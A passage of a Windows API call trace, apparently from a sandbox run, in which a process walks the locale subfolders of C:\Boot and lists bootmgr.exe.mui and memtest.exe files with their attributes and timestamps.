lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0044.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.669] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.669] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.669] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.669] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.669] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0044.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.670] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.670] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.670] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.670] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.670] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0044.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.671] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.671] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.671] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.671] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.671] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0044.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.672] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.672] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.672] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.672] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.672] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0044.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.672] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.673] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.673] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.673] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.673] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0044.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.673] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.674] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.674] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.674] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.674] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0044.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.674] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.674] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.675] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.675] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.675] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0044.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.675] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.675] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.675] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.676] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.676] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0044.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.676] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.676] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.676] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.677] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.677] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0044.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3610e78 [0044.677] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b510 [0044.677] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.677] FindNextFileW (in: hFindFile=0x61b510, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.678] FindClose (in: hFindFile=0x61b510 | out: hFindFile=0x61b510) returned 1 [0044.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3610e78 | out: hHeap=0x5c0000) returned 1 [0044.953] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.331] FindNextFileW (in: hFindFile=0x6b42a8, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc9886ae0, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xc9886ae0, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x0, 